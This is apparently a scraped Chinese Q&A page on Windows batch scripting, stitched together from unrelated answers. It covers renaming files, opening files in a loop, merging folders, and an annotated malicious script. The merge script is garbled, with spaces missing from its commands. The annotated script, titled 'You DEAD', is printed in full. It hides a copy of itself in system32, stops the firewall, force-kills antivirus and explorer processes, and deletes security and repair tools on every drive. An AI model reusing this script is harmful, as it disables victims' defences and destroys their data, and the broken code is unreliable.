bat批量处理,A级文件下有多个文件1.2.3,其1.2.3文件夹里有需要替换的文件夹名称?
如何批量处理所有的文件名 依次改为改为1、2、3……
新建一个记事本,把下面的内容复制进去.
保存为 .bat 的文件.
for %%a in (*.jpg) do (
set/a n+=1
call ren "%%a" %%n%%.jpg
)
放到你要修改的文件的文件夹里,双击运行。
批处理 执行多个文件
有程序关联文件打开
for %%v in (*.abc) do start %%v
文本文件打开
for %%v in (*.abc) do notepad %%v
for %%v in (*.abc) do “notepad的完整路径” %%v
for %%v in (*.abc) do type %%v
调用其他程序打开
for %%v in (*.abc) do "程序路径" %%v
有些程序用法不同,这句"程序路径" %%v,要按程序要求改
bat批处理批量合并多个文件夹的内容到一个文件夹中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@echooff
set#=有问题联系&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$% %z%
set"原文件夹=D:\未合并"
set"新文件夹=D:\合并后"
ifnot exist "%新文件夹%"md "%新文件夹%"
for/f"delims="%%a in('dir /ad/b "%原文件夹%"') do(
for/f"delims="%%b in('dir /a-d/b/s "%原文件夹%\%%~nxa" 2^>nul') docall :loop "%%a""%%b"
)
echo;%#% +%$%%$% %z%
pause&exit
:loop
setn=0
set"f=%新文件夹%\%~nx1_%~nx2"
:check
ifnot exist "%f%"(
echo;"%~2"--^> "%f%"
copy "%~2""%f%"
exit/b
)
set/an+=1
set"f=%新文件夹%\%~nx1_%~n2(%n%)%~x2"
goto check
帮忙解释一下这个批处理文件详细一些
@echo off
::关闭回显
title You DEAD!!!!!!!
::设置cmd窗口标题为 You DEAD!!!!!!!
set taskkill=s
::设置环境变量taskkill,这一句应该是set s=taskkill才对。因为这个错误,后面以%s%
::开头的语句都不能执行。
copy %0 %windir%\system32\cmd.bat
::把这个批处理复制一份到system32目录下,并命名为cmd.bat,这样如果没有cmd.exe就
::执行cmd.bat。
attrib %windir%\system32\cmd.bat +r +s +h
::将cmd.bat加上只读,系统和隐藏属性。
net stop sharedaccess >nul
::关闭防火墙并屏蔽掉结果显示。
::----------------------------------------------------
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul
%s% /im norton* /f >nul
%s% /im av* /f >nul
%s% /im fire* /f >nul
%s% /im anti* /f >nul
%s% /im spy* /f >nul
%s% /im bullguard /f >nul
%s% /im PersFw /f >nul
%s% /im KAV* /f >nul
%s% /im ZONEALARM /f >nul
%s% /im SAFEWEB /f >nul
%s% /im OUTPOST /f >nul
%s% /im nv* /f >nul
%s% /im nav* /f >nul
%s% /im F-* /f >nul
%s% /im ESAFE /f >nul
%s% /im cle /f >nul
%s% /im BLACKICE /f >nul
%s% /im def* /f >nul
%s% /im 360safe.exe /f >nul
::----------------------------------------------------
::上面用---包含起来的部分是强制结束进程,其中包括qq,因特网浏览器,资源管理器,
::和一些杀毒软件进程。
net stop Shadow" "System" "Service
::关闭System进程。
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
::设置环境变量alldrive为可能的盘符。
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul
::删除各盘下以 360 为开头的文件夹里的所有东西。
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul
::删除各盘下以 修复 为开头的文件夹里的所有东西。
::最后两行删除可能存在的修复工具。